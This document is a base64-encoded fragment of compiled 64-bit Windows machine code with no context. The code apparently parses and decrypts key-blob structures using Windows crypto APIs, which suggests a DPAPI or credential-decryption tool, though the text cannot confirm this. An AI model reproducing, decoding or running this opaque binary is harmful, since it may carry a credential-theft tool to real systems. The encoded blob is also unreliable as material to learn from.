8VVpoJAIv4hcB1DEiLC/8VJ6MJAEiJA0iLDv8Vc5oJAEiLXCRQi8dIi2wkWEiLdCRgSIPEMEFfQV5fw0iLxEiJWAhIiWgQSIlwGEiJeCBBVUFWQVdIg+wgRTPtSIvZSIXJD4QEAQAAuoQAAACNSrz/Ff6iCQBMi+hIhcAPhOoAAAAPEANIjUswSI1RDA8RAA8QSxAPEUgQDxBDIEiJSDAPEUAgRItYLEkD0/JBDxAEC/IPEUA4TI1CBEGLRAsIQYlFQIvATAPASYlVRIsMEEGL00GJTUxNjUgMTYlFUEwDyfJCDxAEAfJBDxFFWEKLRAEITY1RBEGJRWBJjU0wi8BMA9BNiU1kRosECEWJRWxNiVVwQ4sEEEGJRXhJjUIESQPASYlFfOihrQAAQYtVQEmNTUTolK0AAEGLVUxJjU1Q6IetAABBi1VgSY1NZOh6rQAAQYtVbEmNTXDoba0AAEGLVXhJjU186GCtAABIi1wkQEmLxUiLbCRISIt0JFBIi3wkWEiDxCBBX0FeQV3DzMxIhcl0cFNIg+wgSIvZSItJMEiFyXQG/xWQoQkASItLREiFyXQG/xWBoQkASItLUEiFyXQG/xVyoQkASItLZEiFyXQG/xVjoQkASItLcEiFyXQG/xVUoQkASItLfEiFyXQG/xVFoQkASIvL/xU8oQkASIPEIFvDzMxIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsMI08CUiL2kyNPXLICgCL102Lx0iNDdYNCwDoXUMAADP2SIXbD4TqAgAARIsLSI0N3A0LAE2Lx0SJTCQgi9foOUMAAE2Lx0iNDRMOCwCL1+goQwAASI1LBOhjqwAATI0l1CwKAEmLzOgQQwAARItLFEiNDSkOCwBNi8dEiUwkIIvX6PZCAABNi8dIjQ1gDgsAi9fo5UIAAEiNSxjoIKsAAEmLzOjUQgAARItLKEiNDX0OCwBNi8dEiUwkIIvX6LpCAACLayhMjTV0QAoAi8WLztPoqAF0D0mLFkiNDZgICwDol0IAAP/GSYPGCIP+BXLcD7rlHXMTSI0VWyULAEiNDXQICwDoc0IAAEiNDWwOCwDoZ0IAAESLSyxIjQ1wDgsATYvHRIlMJCCL1+hNQgAATItLMEiNDaYOCwBNi8eL1+g4QgAARItLOEGLyeiw+P//SIlEJChIjQ3EDgsAi9dEiUwkIE2Lx+gRQgAARItLPEiNDQoPCwBNi8dEiUwkIIvX6PdBAABEi0tASI0NQA8LAE2Lx0SJTCQgi9fo3UEAAE2Lx0iNDXcPCwCL1+jMQQAAi1NARTPASItLROiFqAAASYvM6LVBAABEi0tMSI0Njg8LAE2Lx0SJTCQgi9fom0EAAE2Lx0iNDcUPCwCL1+iKQQAAi1NMRTPASItLUOhDqAAASYvM6HNBAABEi0tYQYvJ6Ov3//9IiUQkKEiNDc8PCwCL10SJTCQgTYvH6ExBAABEi0tcSI0NFRALAE2Lx0SJTCQgi9foMkEAAESLS2BIjQ1LEAsATYvHRIlMJCCL1+gYQQAATYvHSI0NghALAIvX6AdBAACLU2BFM8BIi0tk6MCnAABJi8zo8EAAAESLS2xIjQ2ZEAsATYvHRIlMJCCL1+jWQAAATYvHSI0N0BALAIvX6MVAAACLU2xFM8BIi0tw6H6nAABJi8zorkAAAESLS3hIjQ3nEAsATYvHRIlMJCCL1+iUQAAATYvHSI0NHhELAIvX6INAAACLU3hFM8BIi0t86DynAABIjQ05EQsA6GhAAABIi1wkUEiLbCRYSIt0JGBIi3wkaEiDxDBBX0FeQVzDzEiJXCQIV0iD7CCL+UiLyujQ+v//SIvYSIXAdBJIi9CLz+iK/P//SIvL6Ar8//9Ii1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIDPbSIvySIv5SIXJdDiNUyyNS0D/FbidCQBIi9hIhcB0JA8QB0iNVyBIjUggDxEADxBPEEiJEY1W4IlQKA8RSBDo5KgAAEiLdCQ4SIvDSItcJDBIg8QgX8PMSIlcJAhIiXQkEFdIg+wwSIvaSI09j8QKAL4CAAAASI0NUxALAEyLx4vW6HU/AABIhdsPhNkAAABEiwtIjQ1mEAsATIvHRIlMJCCL1uhTPwAATIvHSI0NlRALAIvW6EI/AABIjUsERTPAjVYO6PulAABIjQ3oKAoA6Cc/AABEi0sUSI0NoBALAEyLx0SJTCQgi9boDT8AAESLSxhBi8nohfX//0iJRCQoSI0NyRALAIvWRIlMJCBMi8fo5j4AAESLSxxBi8noXvX//0iJRCQoSI0N8hALAIvWRIlMJCBMi8fovz4AAEyLx0iNDSkRCwCL1uiuPgAAi1MoRTPASItLIOhnpQAASI0NZA8LAOiTPgAASItcJEBIi3QkSEiDxDBfw8zMzEiJXCQISIl0JBBXSIPsMEiL2kiNPWvDCgC+AgAAAEiNDW8RCwBMi8eL1uhRPgAASIXbD4TLAAAARIsLSI0NQg8LAEyLx0SJTCQgi9boLz4AAESLSwRIjQ1oEQsATIvHRIlMJCCL1ugVPgAARItLCEiNDZ4RCwBMi8dEiUwkIIvW6Ps9AABMi8dIjQ3NEQsAi9bo6j0AAEiNSwzoJaYAAEiNDZYnCgDo1T0AAEyLx0iNDd8RCwCL1ujEPQAAi1MERTPASItLHOh9pAAASI0NaicKAOipPQAATIvHSI0N6xELAIvW6Jg9AACLUwhFM8BIi0sk6FGkAABIjQ1ODgsA6H09AABIi1wkQEiLdCRISIPEMF/DzEiJXCQISIlsJBBIiXQkGFdIg+wgM/9Ii9lIhckPhFIBAAC6oAAAAI1PQP8VEJsJAEiL+EiFwA+EOAEAAA8QAw8RAA8QSxAPEUgQDxBDIA8RQCAPEEswDxFIMA8QQ0APEUBADxBLUA8RSFAPEENgDxFAYA8QS3APEUhwSItQYEiF0nQTSI2LgAAAAOjR/P//SImHgAAAAEiLV2hIhdJ0F0iLT2BIg+mASAPL6LH8//9IiYeIAAAASIN/cAB0OkiLT2gzwEiLd2BIA8tIg+6ASAPxdB2NUBSNSED/FWGaCQBIhcB0DA8QBg8RAItOEIlIEEiJh5AAAABIg394AHR2SItXcDP2SANXaEiLb2BIA9NIg+2ASAPqdFWNViyNTkD/FRyaCQBIi/BIhcB0QQ8QRQBIjVUcDxEA8g8QTRDyDxFIEItNGIlIGEiNSBxIiRGLUARIjUIcSAPFSIlGJOg3pQAAi1YISI1OJOgrpQAASIm3mAAAAEiLXCQwSIvHSItsJDhIi3QkQEiDxCBfw0iFyQ+ErQAAAEiJXCQIV0iD7CBIi7mAAAAASIvZSIX/dBhIi08gSIXJdAb/FUuZCQBIi8//FUKZCQBIi7uIAAAASIX/dBhIi08gSIXJdAb/FSeZCQBIi8//FR6ZCQBIi4uQAAAASIXJdAb/FQyZCQBIi7uYAAAASIX/dCdIi08cSIXJdAb/FfGYCQBIi08kSIXJdAb/FeKYCQBIi8//FdmYCQBIi8v/FdCYCQBIi1wkMEiDxCBfw8xIiVwkCEiJdCQQV0iD7DBIi9pIjTUTwAoATIvGSI0NiQ8LADPS6P46AABIhdsPhLEBAABEiwtIjQ1/BQsATIvGRIlMJCAz0ujcOgAATI1LDEyLxjPSSI0NgA8LAOjHOgAARItLXEiNDcAPCwBMi8ZEiUwkIDPS6K06AABEi0tgSI0N9g8LAEyLxkSJTCQgM9LokzoAAESLS2hIjQ0sEAsATIvGRIlMJCAz0uh5OgAARItLcEiNDWIQCwBMi8ZEiUwkIDPS6F86AABEi0t4SI0NmBALAEyLxkSJTCQgM9LoRToAAEiDu4AAAAAAdB1Mi8ZIjQ3FEAsAM9LoKjoAAEiLk4AAAADoevr//0iDu4gAAAAAdB1Mi8ZIjQ2+EAsAM9LoAzoAAEiLk4gAAADoU/r//0iDu5AAAAAAdHZMi8ZIjQ23EAsAM9Lo3DkAAEiLu5AAAABIjQ16DAsATIvGugIAAADowTkAAEiF/3RFRIsPSI0NtgoLAEyLxkSJTCQgugIAAADooDkAAEyLxkiNDXIMCwC6AgAAAOiMOQAASI1PBOjHoQAASI0NSAoLAOh3OQAASIO7mAAAAAB0HUyLxkiNDVcQCwAz0uhcOQAASIuTmAAAAOjQ+v//SI0NBSMKAOhEOQAASItcJEBIi3QkSEiDxDBfw0iJXCQQVVZXQVRBVUFWQVdIg+wgM/9Ei/pIi+lIhckPhCwBAACNX0CLy41XJP8V1ZYJAEiL+EiFwA+EEgEAAEEPEEQv6I1z2IvWDxEA8kEPEEwv+PIPEUgQi0AURDv+dhuFwHQXjQwCSYvHSCvBi0QoFAPQ/0cgQTvXcuWLVyCLy0jB4gP/FX2WCQBIiUcYSIXAD4S5AAAAg2QkYABEi3cURDv+D4anAAAARYX2D4SeAAAAQY0MNkmL30gr2UUz7UgD3XRsQY1VWI1K6P8VNpYJAEyL6EiFwHRXDxADDxEADxBLEA8RSBAPEEMgDxFAIA8QSzAPEUgwi0tAiUhASI1DREGLVSRJjU1ERCvySIkBSAPCQYPuREWJdVRJiUVM6DyhAABBi1VUSY1NTOgvoQAAi0wkYEiLRxj/RCRgTIksyESLcxRBA/ZBO/cPgln///9Ii1wkaEiLx0iDxCBBX0FeQV1BXF9eXcPMzMxIiVwkCFdIg+wwSIv6TI0FuLwKADPSSI0Nvw4LAOimNwAAM9tIhf8PhIwAAABEiw9MjQWVvAoAM9JEiUwkIEiNDb8OCwDofjcAAEyNBXu8CgAz0kiNDeIOCwDoaTcAAEiNTwTopJ8AAEiNDRUhCgDoVDcAAESLTxRMjQVNvAoAM9JEiUwkIEiNDdcOCwDoNjcAADlfIHYWSItXGIvDSIsUwugeAAAA/8M7XyBy6kiNDdAgCgDoDzcAAEiLXCRASIPEMF/DSIlcJAhIiWwkEFZIg+wwSIvaSI0177sKAL0CAAAASI0Nsw4LAEyLxovV6NU2AABIhdsPhKcBAABEiwtIjQ3+DQsATIvGRIlMJCCL1eizNgAATIvGSI0NHQ4LAIvV6KI2AABIjUsE6N2eAABIjQ1OIAoA6I02AABEi0sUSI0NHg4LAEyLxkSJTCQgi9XoczYAAESLSxhIjQ1sDgsATIvGRIlMJCCL1ehZNgAARItLHEGLyejR7P//SIlEJChIjQ2FDgsAi9VEiUwkIEyLxugyNgAARItLIEiNDbMOCwBMi8ZEiUwkIIvV6Bg2AABEi0skSI0N0Q4LAEyLxkSJTCQgi9Xo/jUAAESLSyhBi8noduz//0iJRCQoSI0N6g4LAIvVRIlMJCBMi8bo1zUAAESLSyxIjQ0YDwsATIvGRIlMJCCL1ei9NQAARItLMEiNDTYPCwBMi8ZEiUwkIIvV6KM1AABMi8ZIjQ1VDwsAi9XokjUAAEiNSzRFM8CNVQ7oS5wAAEiNDTgfCgDodzUAAEyLxkiNDVEPCwCL1ehmNQAASItLROjVnQAASI0NEh8KAOhRNQAATIvGSI0NUw8LAIvV6EA1AACLU1RFM8BIi0tM6PmbAABIjQ32BQsA6CU1AABIi1wkQEiLbCRISIPEMF7DzEiLxEiJWAhIiXAQSIl4GFVBVEFVQVZBV0iNaMlIgezQAAAAM9uL8k2L+EWL8UiL+UiNTY9EjWNARYvEjVM26KV/BwBFi8SNU1xIjU3P6JZ/BwCF9nQlSI1Fj4vTSCv4RIvGSI1Fj0gDwooMBzBMFc9I/8IwCEmD6AF150mNVkBBi8z/FWCSCQBIi/BIhcAPhBIBAAAPKEWPSI1IQA8oTZ9Ni8YPEQBJi9cPKEWvDxFIEA8oTb8PEUAgDxFIMOj2hwcARY1GQMdEJCAUAAAATI1MJDBIi9a5BIAAAOgU0v//hcAPhLUAAABEi313QYvMRIt1Z0mNV1RJA9b/FeiRCQBIi/hIhcAPhJEAAAAPKEXPDyhN30iLVV8PEQAPKEXvDxFIEA8oTf8PEUAgDxFIMA8QRCQwDxFAQItEJECJR1BIhdJ0EUWF9nQMSI1PVEWLxuhjhwcASItVb0iF0nQURYX/dA9JjU5UTYvHSAPP6EaHBwBMi01/RY1HVEUDxsdEJCAUAAAASIvXuQSAAADoYtH//0iLz4vY/xUTkQkASIvO/xUKkQkATI2cJNAAAACLw0mLWzBJi3M4SYt7QEmL40FfQV5BXUFcXcPMzMxIiVwkCEyJRCQYVVZXQVRBVUFWQVdIg+xwM9tFi+FEi/JIi/lBvQSAAACD+hR1BUyL+eswTI1MJFDHRCQgFAAAAEWLxkiL10GLzejZ0P//hcAPhEEBAABMi4QkwAAAAEyNfCRQTYX/D4QrAQAASIu0JOAAAABIi6wk0AAAAEQ5rCTwAAAAdUxIhe11BUiF9nRCSIuEJPgAAABFi8xIiUQkQEGL1ouEJOgAAABIi8+JRCQ4i4Qk2AAAAEiJdCQwiUQkKEiJbCQg6Gj9//+L2OnFAAAARIu0JNgAAAC5QAAAAESLrCToAAAAQ40ENEEDxYvQiYQkuAAAAP8VHpAJAEiL+EiFwA+EjgAAAEiLlCTAAAAATYvESIvI6M+FBwBIhe10FEWF9nQPRYvGSY0MPEiL1ei2hQcASIX2dBdFhe10EkuNDDRNi8VIA89Ii9bomoUHAIuEJAABAABMi8+LjCTwAAAAQbgUAAAAiUQkMEmL10iLhCT4AAAASIlEJCiLhCS4AAAAiUQkIOiL1P//SIvPi9j/FUyPCQCLw0iLnCSwAAAASIPEcEFfQV5BXUFcX15dw8zMTIlMJCBEiUQkGEiJVCQQU1VWV0FUQVVBVkFXSIPseEyLtCToAAAASIvZM8lNhfaJjCTAAAAARIvhRIvpRIt7XEEPlMSLezyL6UHB7wPB7wOBezgDZgAAdQiNQRg7+A9C+E2F9nR1i0NYQb0OgAAAQTvFiYQk6AAAAL4UAAAAuUAAAABBD0T3i9b/FdmOCQAzyUiL6EiFwHRLSIPI/0j/wGZBOQxGdfZEOawk6AAAAESNBAC5BIAAAIl0JCBED0XpTIvNQYvNSYvW6KbO//9Ei6wkwAAAAESL4OsMi7Qk6AAAAOsDRIvpRYXkD4SrAQAAQYvXuUAAAAD/FWqOCQBMi/BIhcAPhJEBAABEi0tASIvFTItDREj32ItDWIuUJNAAAAAbyUSJfCRQI85MiXQkSIlEJECLhCTgAAAAiUwkOEiLjCTIAAAASIlsJDCJRCQoSIuEJNgAAABIiUQkIOjq/P//hcAPhCgBAACL17lAAAAA/xXxjQkASIvwSIXAD4QPAQAAi0tYTIvIRYvHiXwkIEmL1uhc0P//hcAPhOkAAACLSzhIjUQkaEiJRCQoRTPJSI1EJGBEi8dIi9ZIiUQkIOjb2v//hcAPhKgAAACLU2y5QAAAAP8VjY0JAEiLvCTwAAAASIkHSIXAdGJEi0NsSIvISItTcOg9gwcASIuUJPgAAABFM8mLQ2xIi0wkYEiJVCQoiQJFjUEBSIsHM9JIiUQkIP8VJ4QJAESL6IXAdR1Iiw//FfeMCQD/FRGNCQCL0EiNDYAJCwDoRy8AAEiLTCRg/xUwhAkASItMJGjoutD//4XAdSP/FeSMCQBIjQ3VCQsA6w3/FdWMCQBIjQ2GCgsAi9DoCy8AAEiLzv8VnowJAEmLzv8VlYwJAEiF7XQJSIvN/xWHjAkAQYvFSIPEeEFfQV5BXUFcX15dW8PMzMxIi8RIiVgISIlwEEiJeBhMiXAgQVdIg+xwRIu8JKAAAAAz/02L8UmL8IlQ6EiJSPBEiXjYTIlI4Eg5vCTIAAAAD4SwAAAAObwk0AAAAA+EowAAAOgY6f//SIvYSIXAD4QWAQAASIuEJMAAAABNi85Ei4Qk0AAAAEiLy0iLlCTIAAAASIlEJDhIi4QkuAAAAEiJRCQwSIuEJNgAAABIiUQkKESJfCQg6JX8//+L+IXAdDhIhfZ0M0iDezAAdCyDeywAdCaLUyy5QAAAAP8V14sJAEiJBkiFwHQQRItDLEiLyEiLUzDoj4EHAEiLy+jT6f//6YQAAABIjUQkQEUzyUiJRCQwTI1EJFCLhCSwAAAASI1MJGCJRCQoSIvWSIuEJKgAAABIiUQkIP8VUoUJAIv4hcB0RotEJEC5QAAAAEiLnCTAAAAAi9CJA/8VWYsJAEiLjCS4AAAASIkBSIXAdBBEiwNIi8hIi1QkSOgJgQcASItMJEj/FfaKCQBMjVwkcIvHSYtbEEmLcxhJi3sgTYtzKEmL40Ffw8xIiVwkCEyJRCQYSIlUJBBVVldBVEFVQVZBV0iD7HAz202L8UiDzv9Ei+FIi/5I/8dmQTkceXX2QYPkBAP/QYvE99hFG+1Bg+UCQY2NAoAAAOin2v//i9C5QAAAAESL+P8Vq4oJAEiL6EiFwA+E6AAAAEiLhCTAAAAASP/GZjkccHX3RI0ENkSJfCQgTIvNQY2NAoAAAEiL0Oh/yv//hcAPhKsAAAA5nCTQAAAAdHBFheR1a4lcJEBBjXQkIIl0JDhIjUQkUEiJRCQwQbwMgAAAx0QkKBAnAABNi85Fi8eJfCQgSIvVQYvM6KvQ//+FwHQtiVwkQEiNVCRQRIl8JDhNi85IiWwkMESLxsdEJCgBAAAAQYvMiXwkIOh60P//SIuEJOAAAABNi85Ii4wkuAAAAEWLx0iJRCQoSIvVSIuEJNgAAABIiUQkIOgmAAAAi9hIi83/FX+JCQCLw0iLnCSwAAAASIPEcEFfQV5BXUFcX15dw8xIiVwkCFdIg+xgM9tIi/lIg8j/SP/AZkE5HEF19kiNTCRAx0QkMBQAAABIiUwkKI0ERQIAAAC5BIAAAIlEJCDoVM7//4XAdCpIi4QkmAAAAEiNVCRATIuMJJAAAABBuBQAAABIi89IiUQkIOgQAAAAi9iLw0iLXCRwSIPEYF/DzEyJTCQgRIlEJBhIiVQkEFVTVldBVEFVQVZBV0iL7EiD7HiLWRi4BIAAAEiL+UUz/4H7CYAAAA9E2IvLiV3c6MXY//+LTxxEi/Do3tn//4tPHIvw6EDZ//9BjU9ARI0kMEGL1P8Vs4gJAEyL6EiFwA+EJwIAAESLRVhMjU8ESItVUIvLx0QkQAEAAABEiWQkOEiJRCQwi0cUiUQkKMdEJCAQAAAA6PvO//+FwA+E4gEAAItPHEiNRehIiUQkKEUzyUiNReBEi8ZJi9VIiUQkIOiA1f//hcAPhKMBAABIi03gTo0ELkUzyUGNVwH/FeN+CQCFwA+EYAEAAItXKEGNT0CJVUj/FROICQBIi9hIhcAPhEQBAABEi0VISIvISItXIOjHfQcASItN4EiNRUhIiUQkKEUzyUUzwEiJXCQgM9L/Fb9+CQCFwA+EAwEAAEiLdWgzwIF/HANmAABBi9ZBjX9ARYvmjUgED0TBi01IK8hBK86D6RCJDovP/xWdhwkATIvwSIXAD4TFAAAARItFWEyLy0iLVVCLTdxEiWQkMEiJRCQox0QkIBAAAADoaMz//4XAD4SPAAAAQYvUi8//FVmHCQBIi/hIhcB0fIsGRYvERItNSEmL1otN3EwryESJZCQwTAPLSIl8JCiJRCQg6CXM//+FwHRHSI1TEEWLxEiLz+gmdQkAhcBBD5THRYX/dC2LFrlAAAAA/xX+hgkASItNYEiJAUiFwHQURIsGSIvIi1VISSvQSAPT6K58BwBIi8//FZ2GCQBJi87/FZSGCQBIi8v/FYuGCQBIi03g/xXZfQkASItN6Ohkyv//hcB1I/8VjoYJAEiNDd8ECwDrDf8Vf4YJAEiNDcAFCwCL0Oi1KAAASYvN/xVIhgkAQYvHSIPEeEFfQV5BXUFcX15bXcNMi9xJiVsISYlzEEmJexhVQVRBVUFWQVdIi+xIg+xwSItdYEiNRdBNi/lJiUOQSIvxRTPkRSFjiEUzyUiLC/8V2HwJAIXAD4SDAgAAi1YERY10JEBBi86JVcD/FQyGCQBIi/hIhcAPhFkCAABEi0XASIvISItWHOjAewcASItN0EiNRcBIiUQkKEWNbCQBRTPJSIl8JCBFi8Uz0v8Vs3wJAIXAD4T/AQAAixdIjUXYSIlEJChFjUQkGEiDwghIjUXISAPXSIlEJCBFM8m5A2YAAOjO0v//hcAPhN4BAABEiwdFM8lIi03ISYPAIEwDx0GL1f8VLHwJAIXAD4SSAQAAi1YIQYvOiVXA/xVdhQkASIvYSIXAD4RNAQAARItFwEiLyEiLViToEXsHAEiLTchIjUXASIlEJChFM8lFM8BIiVwkIDPS/xUJfAkAhcAPhPgAAABEi0XATI1N4ESLawRBg8DsSIvTx0QkIBQAAAC5BIAAAOgAxf//hcAPhN8AAACLTcBIi0QZ7Eg7ReAPhc0AAABIi0QZ9Eg7RegPhb4AAACLRBn8O0XwD4WxAAAAixdBjUwkQEyLdVBBiRb/FaqECQBJiQdIhcAPhJEAAABFiwZIjVcISIvI6F96BwBIi3VYSI1LCEkDzUwhJv8Vo3sJAIvQQY1MJECJRcD/FWuECQBIiQZIhcB0GotNwEyNQwhNA8VIi9D/FYB7CQBEi+CFwHU8SYsPSIXJdAn/FQOECQBJiQdIiw5Ihcl0Cf8V8oMJAEiJBkGDJgDrFP8VA4QJAIvQSI0NEgQLAOg5JgAASIvL/xXMgwkASItdYEiLTcj/FRZ7CQBIi03Y6KHH//+FwHU5/xXLgwkASI0NHAULAOsj/xW8gwkAi9BIjQ1rBAsA6PIlAADrxP8VpoMJAEiNDbcDCwCL0OjcJQAASIvP/xVvgwkASItN0P8VvXoJAEiLCzPS/xUiegkATI1cJHBBi8RJi1swSYtzOEmLe0BJi+NBX0FeQV1BXF3DzEiJXCQQTIlMJCBEiUQkGFVWV0FUQVVBVkFXSIPsYESLcRy4BIAAAEiL2TP2QYH+CYAAAEyL6kQPRPBBi87oGtP//4tLKOg21P//i0soi/jomNP//41OQESNPDhBi9f/FQyDCQBIi+hIhcAPhKkBAADHRCRAAQAAAESNZhBEiXwkOEyNSzRIiUQkMESNfhSLQyBFi8eJRCQoSYvVQYvORIlkJCDoUMn//4XAD4RgAQAAi0soSI1EJFBIiUQkKEUzyUiNhCSgAAAARIvHSIvVSIlEJCDo0M///4XAD4QcAQAASIuMJKAAAABEjW4BQYvVTI0EL0Uzyf8VLHkJAIXAD4TNAAAAi1NUjU5AiZQksAAAAP8VWYIJAEiL+EiFwA+ErgAAAESLhCSwAAAASIvISItTTOgJeAcASIuMJKAAAABIjYQksAAAAEiJRCQoRTPJRTPASIl8JCAz0v8V+XgJAIXAdGVEi3MsSIvXSIuMJMAAAABFO/dFD0L+RYvH6L93BwCLWzBJjRQ+SIuMJLgAAABBO9xED0LjRYvE6KF3BwBBi/WDw/B0ITPShdt0G4X2dBczyYvCSQPGOEw4EA9EzkED1YvxO9Ny5UiLz/8VZ4EJAEiLjCSgAAAA/xWxeAkASItMJFDoO8X//4XAdSP/FWWBCQBIjQ2GAwsA6w3/FVaBCQBIjQ1nBAsAi9DojCMAAEiLzf8VH4EJAEiLnCSoAAAAi8ZIg8RgQV9BXkFdQVxfXl3DzEiJXCQISIl0JBBXSIPsIIvxSI09pCAKADPbi8aLy9PoqAF0D0iLF0iNDTbpCgDoNSMAAP/DSIPHCIP7BXLcSItcJDBIi3QkOEiDxCBfw8zMSIlcJAhIiXQkEFdIg+wgSIvxM9IzyTPb/xUWgAkAi9CNS0BIA9KL+P8VvoAJAEiJBkiFwHQohf90G0iL0IvP/xXvfwkAi8iNR/87yHUHuwEAAADrCUiLDv8VVoAJAEiLdCQ4i8NIi1wkMEiDxCBfw0iJXCQISIl0JBhXSIPsIEiL+kiL8TPbuggCAACNS0D/FVeACQBIi85IiQf/FSODCQCFwHQySI1MJDjoUf///4XAdDZIi1QkOEyLxkiLD/8V8IIJAEiLTCQ4SIXAD5XD/xXffwkA6w5Iiw9Ii9b/FdmCCQCL2IXbdQlIiw//FcJ/CQBIi3QkQIvDSItcJDBIg8QgX8NAU0iD7EBIg2QkMABFM8mDZCQoADPSx0QkIAMAAABBjVkBRIvD/xW1fwkASI1I/0iD+f13C0iLyP8Vgn8JAOsCM9uLw0iDxEBbw8zMSIvESIlYCEiJaBBIiXAYV0FWQVdIg+xAM9tFM8k5HREdDwBBi+hMi/KJWCBMi/mL8w+EpAAAAEiNQCCL1USNQwFIiUQkIEmLzv8VLXkJAIXAD4TnAAAAi1QkeI1LQEgD0v8VNX8JAEiL+EiFwA+EywAAAEiNRCR4TIvPRI1DAUiJRCQgi9VJi87/Fe14CQCL8IXAdDtJi9dIjQ2NBAsA6CQhAAA5XCR4dhqLyw+3FE9IjQ31BAsA6AwhAAD/wztcJHhy5kiNDekECwDo+CAAAEiLz/8Vi34JAOtjSIlcJDBFM8CJXCQougAAAEDHRCQgAgAAAP8Vmn4JAEiL+EiNSP9Ig/n9dzdMjUwkeEiJXCQgRIvFSYvWSIvI/xWEfgkAhcB0ETtsJHh1C0iLz/8VqX0JAIvwSIvP/xU2fgkASItcJGCLxkiLdCRwSItsJGhIg8RAQV9BXl/DzMzMSIlcJAhIiXQkEEiJfCQYQVZIg+xQM9tJi/g5HbwbDwBMi/J0KOgWjgAAi9iFwA+FuwAAAP8V7n0JAIvQSI0NTQQLAOgkIAAA6aIAAABIIVwkMEUzySFcJCi6AAAAgMdEJCADAAAARY1BAf8VyH0JAEiL8EiNSP9Ig/n9d3JIjVQkQEiLyP8VJX0JAIXAdFc5XCREdVFIi0QkQLlAAAAAi9CJB/8Vl30JAEmJBkiFwHQ1RIsHTI1MJHhIIVwkIEiL0EiLzv8Vhn0JAIXAdA+LRCR4OQd1B7sBAAAA6wlJiw7/FSJ9CQBIi87/FSl9CQBIi3QkaIvDSItcJGBIi3wkcEiDxFBBXsPMD7cBRTPbRYvLZoXAdD5Mi9EPt9BBuAkAAABIjQU3HQoAZjsQdQW6fgAAAEiDwAJJg+gBdexB/8FmQYkSQYvBTo0USUEPtwJmhcB1xcPMzMxIiVwkCESJTCQgRIlEJBhVVldBVEFVQVZBV0iB7JACAAAz/0yL4ov3TIv5/xUHfAkAg/j/D4S2AQAAqBAPhK4BAAC6CAIAAI1PQP8VmHwJAEiL2EiFwA+EiwEAAL0EAQAATYvHi9VIi8johrMHAIXAD4VxAQAATI0FXwMLAIvVSIvL6NWzBwCFwA+FWAEAAE2F5EyNBUcDCwCL1UiLy00PRcTotbMHAIXAD4U4AQAASI1UJEBIi8v/FaN7CQBIi+hIg/j/D4QdAQAATIusJAADAABMi7Qk+AIAAEiNFQMDCwBIjUwkbOiRsQcAhcAPhNUAAABIjRXuAgsASI1MJGzoeLEHAIXAD4S8AAAATYvHugQBAABIi8vo2LIHAIXAD4WkAAAATI0FsQILALoEAQAASIvL6CSzBwCFwA+FiAAAAEiDz/8zwEj/x2Y5BHt190yNRCRsugQBAABIi8vo+7IHAIXAdWH2RCRAEHUfTYX2dFWLjCToAgAATYvNi8dIi9NMjQRDQf/WM//rMzP/Obwk4AIAAHQyRIuMJOgCAABEjUcBTIlsJDBB/8FMiXQkKEmL1EiLy4l8JCDoQv7//4vwhcB1GusCM/9IjVQkQEiLzf8VenoJAIXAD4X8/v//SIvN/xVZegkASIvL/xXAegkASIucJNACAACLxkiBxJACAABBX0FeQV1BXF9eXcPMzMxMi9xJiVsISYlzGEmJUxBXSIPsUINkJDwASI0FbJUAAMdEJDgKAAAASI0VgWsLAEmJQ+hJjUvISIuEJIAAAABJiUPw/xVPgQkASINkJGgASI1EJCBFM8BIiUQkMEiNVCRoQY1IEOiiJAAAi/CFwHg1SItcJGgz/zk7diGL10j/wkiNFHpIjQzTSI1UJDDoJgAAAIXAdAb/xzs7ct9Ii8v/Fft5CQBIi1wkYIvGSIt0JHBIg8RQX8PMSIlcJBhIiWwkIFZXQVZIg+xARIsBSIvaTIvxvgEAAAAz0o1+P4vP/xUbeQkASIvoSIXAD4TZAAAA/xUZeQkAQQ+3VgZMjUwkaEyLwEiLzYtDDIlEJDCLQwiJdCQoiUQkIP8V6XgJAIXAD4SaAAAASItMJGhIjUQkYEUzyUiJRCQgRTPAjVYB/xVLgAkAPQQAAMB1aotUJGCLz/8VgHkJAEiL+EiFwHRWRItMJGBIjUQkYEiLTCRojVYBTIvHSIlEJCD/FRCACQCFwHgpSIsTSIXSdBBEisZIi8//FQiACQCEwHQRTItDGEmL1kiLTCRo/1MQi/BIi8//Fep4CQBIi0wkaP8V73gJAEiLzf8V5ngJAEiLXCRwi8ZIi2wkeEiDxEBBXl9ew8xIi8RIiVgQSIloGEiJcCBIiUgIV0FUQVVBVkFXSIPsUESLvCSwAAAAM/ZIi5wkqAAAAEWL4U2L6ESL8kyL0UWF/3VKSIXbdASLA+sCM8BIi7wkoAAAAEiF/3QFSIsP6wIzyUghdCQ4SI1UJEBIiVQkMEGL1olEJChIiUwkIEmLyv8VkncJAIvw6Y8AAABIi7wkoAAAALgAAAEATIu8JIAAAACJA4vQuUAAAAD/FUd4CQBIiQdIhcB0W0iDZCQ4AEiNTCRASIlMJDBFi8yLC02LxYlMJChBi9ZJi89IiUQkIP8VMncJAIvwhcB0BDPt6xj/Fep3CQCL6D3qAAAAdQlIiw//Fbh3CQDRI4sDgf3qAAAAdJBEi7wksAAAAIX2dSj/Fbp3CQBBi9ZIjQ3Y/goARIvA6OwZAABFhf90FkiLD/8VencJAOsLSIXbdAaLRCRAiQNMjVwkUIvGSYtbOEmLa0BJi3NISYvjQV9BXkFdQVxfw8xIi8RIiVgISIloEEiJcBhIiXggQVZIg+xAM9tIjQ1q/woASIlY6EGL8UmL6IlY4ESL8sdA2AMAAABFM8lFM8C6AAAAwP8VMncJAEiL+Ej/yEiD+P13OkiLRCR4RIvOx0QkMAEAAABMi8VIiUQkKEGL1kiLRCRwSIvPSIlEJCDoCf7//0iLz4vY/xXOdgkA6xT/FdZ2CQCL0EiNDYX+CgDoDBkAAEiLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8RAQV7DzMzMTIvcSYlbCEmJcxBXSIPsUEmDY+gASY1DIEmJQ9BFi8hJjUPoTIvCi9FJiUPI6Ar///+L8IXAdDOLVCR40ep0IEiLXCRAi/oPtxNIjQ1//AoA6JYYAABIjVsCSIPvAXXnSItMJED/FR12CQBIi1wkYIvGSIt0JGhIg8RQX8PMzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgumgAAABIi9mNStj/FRN2CQBMi+hIhcAPhNIAAAAPEANIjUsoDxEADxBLEA8RSBDyDxBDIPIPEUAgRItQCESLQBBEi0ggSIlIKEmNFAqLSBxIA8pIiVAwi1AMSAPRSIlIOEwDwkiJUEBMiUBISY1NKE0DyEGL0kSLQBRN